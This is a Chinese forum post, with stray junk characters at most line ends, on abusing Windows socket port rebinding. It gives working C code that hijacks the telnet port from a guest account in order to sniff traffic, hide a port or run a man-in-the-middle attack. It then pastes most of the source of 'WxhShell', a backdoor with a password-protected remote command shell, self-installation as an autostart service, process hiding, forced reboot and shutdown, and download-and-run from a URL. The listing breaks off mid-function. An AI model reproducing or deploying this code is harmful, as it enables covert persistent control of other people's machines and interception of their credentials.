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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4sQ~&@[Q+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !g/_ w  
+}Auk|>Dc  
  saddr.sin_family = AF_INET; '%$-]~   
1W7 iip,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6(sfpK'  
?e2Y`0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7t+]z)  
t5A[o7BS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /gF]s_  
BDnBBbBrz  
  这意味着什么?意味着可以进行如下的攻击: $1=v.'Y  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h!~|6nj  
p+5#dbyr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %rX\ P  
N~0$x,bR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ":z@c,  
m(h/:JZ\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B=^2g}mgK  
Z#[>N,P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B1HQz@^  
ap{{(y&R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C`z;,!58%  
vLD:(qTi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >02i8:Tp5K  
Mj,2\ijNM  
  #include e4?<GT   
  #include ?WMi S]Q\  
  #include = c/3^e  
  #include    O]4W|WI3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >DkN+S  
  int main() 8UlB~fVg  
  { R|6RI}  
  WORD wVersionRequested; >^sz5d+X  
  DWORD ret; aB7d(  
  WSADATA wsaData; _TV2)  
  BOOL val; upZYv~Sa  
  SOCKADDR_IN saddr; / *O u$  
  SOCKADDR_IN scaddr; +q 4W0  
  int err; U_.n=d~B  
  SOCKET s; k_-vT  
  SOCKET sc; 56VE[G  
  int caddsize; -aTg>Q|g&  
  HANDLE mt; {Nzmb|&  
  DWORD tid;   zvWO4\  
  wVersionRequested = MAKEWORD( 2, 2 ); dawVE O  
  err = WSAStartup( wVersionRequested, &wsaData ); !Q<8c =f  
  if ( err != 0 ) { n">?LN-DC  
  printf("error!WSAStartup failed!\n"); *#3voJjV(  
  return -1; K[`4vsE  
  } zlC^  
  saddr.sin_family = AF_INET; }:K\)Pd  
   \5j22L9S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,S7~=S  
DtI%-I.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4Xa.r6T_N=  
  saddr.sin_port = htons(23); w}]3jc84  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kG_&-b  
  { Q;{D8 #!  
  printf("error!socket failed!\n"); oxxE'cx{g  
  return -1; sPZV>Q:zY  
  } \= )[  
  val = TRUE; b tr x?k(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,3g]= f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vV\/pu8  
  { n0 fF,?gm  
  printf("error!setsockopt failed!\n"); 64IeCAMVo  
  return -1; @k#z &@b  
  } x);?jxd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &@`H^8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ply2DQr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6c;?`C  
[57V8%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z[<pi :  
  { y.TdWnXx  
  ret=GetLastError(); c@"i?  
  printf("error!bind failed!\n"); h}c6+@w&-  
  return -1; &T| UAM.  
  } v/4X[6(  
  listen(s,2); ijR*5#5h  
  while(1) PN)TX~}  
  { U:T5o]P<  
  caddsize = sizeof(scaddr); b(.o|d/P  
  //接受连接请求 XEe+&VQmY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }I'>r(K  
  if(sc!=INVALID_SOCKET) !:!@dC%8_  
  { ;d'O.i=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R4K eUn"  
  if(mt==NULL) N5I W@?4  
  { [W7\c;Do  
  printf("Thread Creat Failed!\n"); CUTEp/+  
  break; LI5cUCl  
  } hPCSLJ  
  } bvxxE/?Ni  
  CloseHandle(mt); l1.Aw|'D  
  } 1.cUol nr  
  closesocket(s); ?X5glDZ$  
  WSACleanup(); pC?1gc1G  
  return 0; c)P%O  
  }   2 3XAkpzp$  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3=eGS  
  { GE|^ryh  
  SOCKET ss = (SOCKET)lpParam; 8Jly! =Qm5  
  SOCKET sc; t$kf'An}/  
  unsigned char buf[4096]; 7n3x19T  
  SOCKADDR_IN saddr; 5)zj){wL  
  long num; oqU#I~ -  
  DWORD val; C&#KdvN/r  
  DWORD ret; vpr @  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =dw*B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C Wl95g  
  saddr.sin_family = AF_INET; !j\&BAxTEk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %X-&yGY  
  saddr.sin_port = htons(23); Nv$gKC6 ,G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gpp}Jpj   
  {  ! 6i  
  printf("error!socket failed!\n"); 8 $*cfOC  
  return -1; p]IhQnj2  
  } EO!cv,[a  
  val = 100; o9SfWErZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6'lT`E|  
  { PI<s5bns {  
  ret = GetLastError(); 2|H'j~  
  return -1; zyQEz#O   
  } L\'qAfRZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w5JC2   
  { tNNg[;0  
  ret = GetLastError(); 5^qp&  
  return -1; j`-y"6)  
  } x?& xz;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q9Opa2  
  { &=t(NI$  
  printf("error!socket connect failed!\n"); ?fX8WRdh  
  closesocket(sc); 38S&7>0@|q  
  closesocket(ss); -(,6w?  
  return -1; 1+ARV&bc  
  } -Ce4px?3  
  while(1) V<I${i$]0  
  { AS-t][m#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V \ 8 5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g<5Pc,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e<wj5:M|  
  num = recv(ss,buf,4096,0); i(;u6Rk  
  if(num>0) bM_(`]&*  
  send(sc,buf,num,0); f9bz:_;W_  
  else if(num==0) v-aq".XQ  
  break; DG FvRB  
  num = recv(sc,buf,4096,0); 8$olP:d  
  if(num>0) HWAqJb [  
  send(ss,buf,num,0); oD2;Tdk  
  else if(num==0) -H;y_^2  
  break; =_:L wmI  
  }  h\ek2K  
  closesocket(ss); *N+aZV}`Z  
  closesocket(sc); ty=?SZF  
  return 0 ; DfFPGFv  
  } ?pY!sG  
p&27|1pZm  
ZKL%rp_  
========================================================== 1qN9bwRO  
bj^m<}   
下边附上一个代码,,WXhSHELL *0zH5c  
1"6k5wrIA  
========================================================== ,p1]_D&  
B)`X 7uG  
#include "stdafx.h" m%\[1|N  
<\mc|p"  
#include <stdio.h> >u2#<k]1&  
#include <string.h> M.Ik%nN#K0  
#include <windows.h> ( %!R  
#include <winsock2.h> O+J;Hp;\_  
#include <winsvc.h> E e&$9 )t  
#include <urlmon.h> C^tC} n1D(  
DyZ90]N  
#pragma comment (lib, "Ws2_32.lib") .).<L`q  
#pragma comment (lib, "urlmon.lib") *p!dd?8  
d2C:3-4  
#define MAX_USER   100 // 最大客户端连接数 .>&fwG  
#define BUF_SOCK   200 // sock buffer lukV G2wDL  
#define KEY_BUFF   255 // 输入 buffer zl?N1>KS  
Shd,{Z)-Tg  
#define REBOOT     0   // 重启 h`j gF  
#define SHUTDOWN   1   // 关机 %"2B1^o>  
^ I YN"yX_  
#define DEF_PORT   5000 // 监听端口 $)~]4n=  
6f>HE'N  
#define REG_LEN     16   // 注册表键长度 N-]n>E  
#define SVC_LEN     80   // NT服务名长度 =1qkoc~  
AK =k@hT  
// 从dll定义API t79MBgZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mw. +0R!T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nj\WvKG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OHo0W)XUU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yw<:I&  
 &i!]  
// wxhshell配置信息 5 S& >9l  
struct WSCFG { 9E+lriyY  
  int ws_port;         // 监听端口 ;4IP7$3G  
  char ws_passstr[REG_LEN]; // 口令 \m!."~%  
  int ws_autoins;       // 安装标记, 1=yes 0=no \^cn}db)  
  char ws_regname[REG_LEN]; // 注册表键名 j@2 hI,+  
  char ws_svcname[REG_LEN]; // 服务名 =$Z'F<|d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?`>yl4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OA0\b_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m.*+0NG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no < ]nI)W(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3a0C<hW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oSoG&4  
67eo~~nUtg  
}; HChewrUAn  
"<WS Es  
// default Wxhshell configuration A UK7a  
struct WSCFG wscfg={DEF_PORT, :EjIV]e  
    "xuhuanlingzhe", Nvi14,q/  
    1, e|LXH/H  
    "Wxhshell", 1"k@O)?JP  
    "Wxhshell", Ow I?(ruL'  
            "WxhShell Service", 0)NHjKP  
    "Wrsky Windows CmdShell Service", k <qQ+\X  
    "Please Input Your Password: ", DiX4wmQ  
  1, S]>_o"|HV  
  "http://www.wrsky.com/wxhshell.exe", L{ -w9(S`i  
  "Wxhshell.exe" n7G$gLX  
    }; zSO[f  
KlPH.R3MPO  
// 消息定义模块 o\#C] pp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uP$K{ )  
char *msg_ws_prompt="\n\r? for help\n\r#>";  P/Z o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5c#L6 dA)  
char *msg_ws_ext="\n\rExit.";  ,Y!)V  
char *msg_ws_end="\n\rQuit."; 'K1w.hC<  
char *msg_ws_boot="\n\rReboot..."; =aCv Xa&,  
char *msg_ws_poff="\n\rShutdown..."; aE"t['  
char *msg_ws_down="\n\rSave to "; ~$$V=$&  
!m;VWGl*  
char *msg_ws_err="\n\rErr!"; p,+~dn;=  
char *msg_ws_ok="\n\rOK!"; l>ttxYBa<d  
Qi%A/~  
char ExeFile[MAX_PATH]; H{BjxZ~)  
int nUser = 0; %lPP1 R  
HANDLE handles[MAX_USER]; ]k8XLgJ  
int OsIsNt; ZBGI_9wZ  
oAL-v428  
SERVICE_STATUS       serviceStatus; JTC&_6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TCEbz8ql  
P7o6B,9  
// 函数声明 F ;D_zo?  
int Install(void); V)`? J)  
int Uninstall(void); _#_Ab8#  
int DownloadFile(char *sURL, SOCKET wsh); cZYX[.oIB  
int Boot(int flag); #k6;~  
void HideProc(void); "hvw2lyp3  
int GetOsVer(void); jmIP c3O0  
int Wxhshell(SOCKET wsl); /vMpSN|3  
void TalkWithClient(void *cs); b?$3jOtW  
int CmdShell(SOCKET sock); g#AA.@/Z  
int StartFromService(void); ~AO0(Lp  
int StartWxhshell(LPSTR lpCmdLine); V= _8G3  
(xTHin$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $Z j.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /~yqZD<O  
im' 0^  
// 数据结构和表定义 k5($b{  
SERVICE_TABLE_ENTRY DispatchTable[] = *<@  
{ `/U:u9H9v  
{wscfg.ws_svcname, NTServiceMain}, Gc'H F"w  
{NULL, NULL} 4MIVlg9  
}; x83XJFPWL  
i8{jMe!Sa  
// 自我安装 5&>(|Y~I  
int Install(void) 0jXIx2y  
{ Q6BW ax|  
  char svExeFile[MAX_PATH]; 6f?DW-)jp/  
  HKEY key; exhF5,AW|K  
  strcpy(svExeFile,ExeFile); T \AuL  
arB$&s  
// 如果是win9x系统,修改注册表设为自启动 >#ou8}0  
if(!OsIsNt) { K5KN}sRs"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , ^nUi c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +bXZE  
  RegCloseKey(key); p)oW'#@a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BYY>;>V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 23=;v@  
  RegCloseKey(key); YmwVa s  
  return 0; O[]+v  
    } qgDBu\  
  } 1$|z%(  
} AL;"S;8  
else { n33SWE(  
{ys_uS{c*  
// 如果是NT以上系统,安装为系统服务 H)p{T@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V>nY?  
if (schSCManager!=0)  lG{J  
{ I;7{b\t Q  
  SC_HANDLE schService = CreateService UJZa1p@L  
  ( {R#nGsrt;  
  schSCManager, pM=vW{"I/  
  wscfg.ws_svcname, gW, ET  
  wscfg.ws_svcdisp, #RSxo 4  
  SERVICE_ALL_ACCESS, XBc+_=)$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }bHpFe  
  SERVICE_AUTO_START, "mOoGy, (  
  SERVICE_ERROR_NORMAL, HGKm?'['   
  svExeFile, ;gc 2vDMv  
  NULL, "P|G^*"~2  
  NULL, d0xV<{,-  
  NULL, @@5u{K  
  NULL, `A'*x]l  
  NULL X#o:-FKf  
  ); ABSeX  
  if (schService!=0) A=])pYE1  
  { RBb@@k[v  
  CloseServiceHandle(schService); saZ ;ixV  
  CloseServiceHandle(schSCManager); A@#dv2JzP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?G{fF H  
  strcat(svExeFile,wscfg.ws_svcname); b,'./{c0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dn@ n:m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VcP#/&B|  
  RegCloseKey(key); l9Vim9R5T  
  return 0; QZ`<+"a0  
    } N@VD-}E  
  } t _W |`  
  CloseServiceHandle(schSCManager); 81g&WQ'  
} pQ>V]M  
} m/ukH{H1%  
c{ <3\  
return 1; "~;jFB8  
} r[lHYO  
GwvxX&P  
// 自我卸载 qN)cB?+  
int Uninstall(void) 4$J/e?i  
{ qdm!]w.G5  
  HKEY key; r=k}EP&<  
 WsoB!m  
if(!OsIsNt) { b:JOR@O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *dTw$T#  
  RegDeleteValue(key,wscfg.ws_regname); 1Zecl);O{  
  RegCloseKey(key); p?`N<ykF<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Q:dAe[ZsX  
  RegDeleteValue(key,wscfg.ws_regname); _#+9)*A  
  RegCloseKey(key); EZHEJW'JnE  
  return 0; cD>o(#x]  
  } -(2-zznZ  
} AE$)RhY`  
} zqeU>V~<F  
else { 51&T`i  
HaSH0eTw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UOY1^wY  
if (schSCManager!=0) 3S9~rLrn?  
{ T;%SB&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^?A+`1-  
  if (schService!=0) 4rx|6NV6  
  { [brrziZ  
  if(DeleteService(schService)!=0) { @!S$gTz  
  CloseServiceHandle(schService); EAI[J&c  
  CloseServiceHandle(schSCManager); +2g3%c0}  
  return 0; i6-K!  
  } #=tWCxf=  
  CloseServiceHandle(schService); Z\Q7#dl  
  } c1/x,1LnMf  
  CloseServiceHandle(schSCManager); uqnZ  
} ( r O j,D  
} ]+Vcuzq/  
-7`J(f.rYC  
return 1; Mc8^{br61  
} 83h3C EQ  
v+OVZDf  
// 从指定url下载文件 jQDxbkIuzE  
int DownloadFile(char *sURL, SOCKET wsh) u2eq VrY  
{ \Q$);:=q Q  
  HRESULT hr; 3k/Mig T  
char seps[]= "/"; }8SHw|-  
char *token; 4EK[gM8  
char *file; zM'-2,  
char myURL[MAX_PATH]; Nh))U  
char myFILE[MAX_PATH]; BO_^3Me*  
rQqtejcfx  
strcpy(myURL,sURL); 7[)(;-  
  token=strtok(myURL,seps); !9 F+uc5  
  while(token!=NULL) 9p.>L8  
  { f[RnL#*xJU  
    file=token; <ZiO[dEV  
  token=strtok(NULL,seps); h(L5MZs  
  } S]N4o'K}q  
"f3>20}  
GetCurrentDirectory(MAX_PATH,myFILE); H1]\B:  
strcat(myFILE, "\\"); `zL9d lZ  
strcat(myFILE, file); pIXQ/(h31  
  send(wsh,myFILE,strlen(myFILE),0); ,?qS#B+>  
send(wsh,"...",3,0); "xOeBNRjV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VX%+!6+fS  
  if(hr==S_OK) Ixw,$%-]y6  
return 0; ;1%a:#5  
else D8ly8]H  
return 1; HL?pnT09  
YV msWuF  
} u v5@Alm  
8vo} .JIl  
// 系统电源模块 3XRG"  
int Boot(int flag) D6t]E)FH  
{ RBXoU'.  
  HANDLE hToken; q~3&f  
  TOKEN_PRIVILEGES tkp; lySaJ d  
NSq"\A\  
  if(OsIsNt) { -AE/,@\P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ($s{em4L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v<wT`hiKW  
    tkp.PrivilegeCount = 1; R32d(2%5K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z -D pLV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dUZ&Ty^{  
if(flag==REBOOT) { 55,-1tWs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X&IY(CX  
  return 0; Q?@G>uz  
} >U)O@W)  
else { J[l K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N;HvB:c  
  return 0; Ce:ds%  
} <Va>5R_d<  
  } ( ~>Q2DS  
  else { T!PX?  
if(flag==REBOOT) { msylb~^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J^:~#`8  
  return 0; O^#u%/  
} U~m.I  
else { zMKL: Um"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (a?Ip)`I  
  return 0; oB9m\o7$  
} 0=B5 =qyw  
} gISs+g  
Vz*'^=(o&  
return 1; U&R$(k0zS  
} @Xmk Im  
9x!y.gx  
// win9x进程隐藏模块 sYpogFfV  
void HideProc(void) YC'~8\x3z  
{ ;[9Is\  
4lCm(#T{,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7Cf(y'w^  
  if ( hKernel != NULL ) bSLj-vp  
  { |xm|Q(PG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =&b[V"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #4M0%rN  
    FreeLibrary(hKernel); &/9oi_r%r  
  } t^hkGYj!2  
_3a 5/IZ  
return; 3iw9jhK!W  
} j&.BbcE45  
7krA+/Qr(  
// 获取操作系统版本 d}_c (  
int GetOsVer(void) 7 w,FA  
{ L ]c9  
  OSVERSIONINFO winfo; S)yV51^B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DlI5} Jh  
  GetVersionEx(&winfo); mI#; pO2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]6 wi  
  return 1; ?C35   
  else T*yveo &j  
  return 0; sA}R!  
} e% 6{P  
!$Z"\v'b  
// 客户端句柄模块 \<**SSN  
int Wxhshell(SOCKET wsl) <J-Z;r(gQN  
{ QEa=!O  
  SOCKET wsh; #1@~w}Dh  
  struct sockaddr_in client;  HU9y{H  
  DWORD myID; (_ah~VnO  
~py0Vx,F  
  while(nUser<MAX_USER) xQap44KPZ  
{ VsEAo  
  int nSize=sizeof(client); u(702S4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gH3kX<e  
  if(wsh==INVALID_SOCKET) return 1; L0tKIpk  
Z;D3lbqE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S8m&Rj3O&  
if(handles[nUser]==0) PDng!IQ^  
  closesocket(wsh); D5u"4\g< &  
else #Ca's'j&f  
  nUser++; Q%Q?q)x  
  } 3:lp"C51  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4tJ4X' U  
0!`7kZrN  
  return 0; ~e9INZe-j  
} !U:s.^{  
C} _:K)5q  
// 关闭 socket Y{RB\}f(  
void CloseIt(SOCKET wsh) MXk. 2  
{ W+e*(W|d6  
closesocket(wsh); [oLQd-+  
nUser--; =hIT?Z6A  
ExitThread(0); }c ;um  
} I?Fa  
+ t4m\/y  
// 客户端请求句柄 DAHf&/J K  
void TalkWithClient(void *cs) v qMk)htIz  
{ 9dtGqXX  
:iB%JY Ad  
  SOCKET wsh=(SOCKET)cs; k^c=y<I  
  char pwd[SVC_LEN]; :b*`hWnQ  
  char cmd[KEY_BUFF]; Z[u,1l.T  
char chr[1]; K/v-P <g  
int i,j; 1Z8Oh_D C  
 O'|P|  
  while (nUser < MAX_USER) { 2Q|*xd4B^  
UMQW#$~C{g  
if(wscfg.ws_passstr) { 3}{5 X'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5'Jh2r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N('DIi*or  
  //ZeroMemory(pwd,KEY_BUFF); ,9wenr  
      i=0; R(N(@KC  
  while(i<SVC_LEN) { 7u5\#|yL  
u%T$XG  
  // 设置超时 %yM' Z[-  
  fd_set FdRead; N3p 7 0  
  struct timeval TimeOut; {JCz^0DV  
  FD_ZERO(&FdRead); g*?+ ~0"`Y  
  FD_SET(wsh,&FdRead); =GKYroNM  
  TimeOut.tv_sec=8; GtJ*&=(  
  TimeOut.tv_usec=0; $1zeY6O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'O2#1SWe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q;ZHx.ye{  
\}QuNwc   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2$zq (  
  pwd=chr[0]; [j]J_S9jJ  
  if(chr[0]==0xd || chr[0]==0xa) { tr9Y1vxo{  
  pwd=0; <`j[;>O  
  break; 2vdQ&H4  
  } *a,.E6C*  
  i++; |4> r"  
    } 7h9[-d6  
4O_+4yS  
  // 如果是非法用户,关闭 socket 3r:)\E+Q_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *r,&@UB  
} :8Ts'OGwI  
w[7.@%^[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xe3z6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `}8@[iB'  
Q=L$7   
while(1) { p$1Rgm\  
? Ga2K  
  ZeroMemory(cmd,KEY_BUFF); #C;zS9(]B  
]n]uN~)9  
      // 自动支持客户端 telnet标准   7M#$: Fdb  
  j=0; NQiecxvt=  
  while(j<KEY_BUFF) { l9NOzAH3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wQ=yY$VP  
  cmd[j]=chr[0];  ]RX tC*  
  if(chr[0]==0xa || chr[0]==0xd) { ,C,e/>+My  
  cmd[j]=0; 2C33;?M  
  break; M|5]#2J_2  
  } JlDDM %  
  j++; >+jbMAYSq  
    } Fr3d#kVR  
U]!.~ji3  
  // 下载文件 x"l lX  
  if(strstr(cmd,"http://")) { g[wP!y%V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *JY`.t  
  if(DownloadFile(cmd,wsh)) O})u'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~S[xS?  
  else 0I>?_?~l6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SeNF!k% Y  
  } B#k3"vk#  
  else { g\\1C2jG  
' MS!ss=r  
    switch(cmd[0]) { 3Da,] w<  
  $dZ>bXUw:  
  // 帮助 5}MlZp  
  case '?': { ELrZ8&5G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "gbnLKs  
    break; q?Ku}eID3  
  } UC+7-y,  
  // 安装 VU`z|nBW@  
  case 'i': { mzV"G>,o  
    if(Install()) aEEz4,x_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uVq5fT`B  
    else V3 _b!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q3Z%a|3W  
    break; ~AC P%QM=  
    } #7~tL23}]  
  // 卸载 I*:qGr+ WJ  
  case 'r': { J|"nwY}a9  
    if(Uninstall()) :,%J6Zh?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pqH( Tbjq  
    else (o*e<y,}W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vTMP&a'5L  
    break; 4kaE}uKU  
    } qb-2QPEB  
  // 显示 wxhshell 所在路径 RQo$iISwy  
  case 'p': { $d2kHT  
    char svExeFile[MAX_PATH]; {8{t]LK<  
    strcpy(svExeFile,"\n\r"); 8_<&f%/  
      strcat(svExeFile,ExeFile); oP=T6PX~l  
        send(wsh,svExeFile,strlen(svExeFile),0); a81!~1A  
    break; ^x_ >r6  
    } ;zZ,3pl-E  
  // 重启 qu<B%v  
  case 'b': { >w2Q 1!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (zS2Ndp  
    if(Boot(REBOOT)) ^.@yF;H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |C$:]MZx  
    else { i?a,^UM5n[  
    closesocket(wsh); (0OSGG9  
    ExitThread(0); oN[Fza>  
    } tKG;k"wk  
    break; "GwWu-GS  
    } o <D3Y95b  
  // 关机 7wiK.99  
  case 'd': { Q\o$**+{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pYLY;qkG"  
    if(Boot(SHUTDOWN)) Mt[Bq6}ZD  
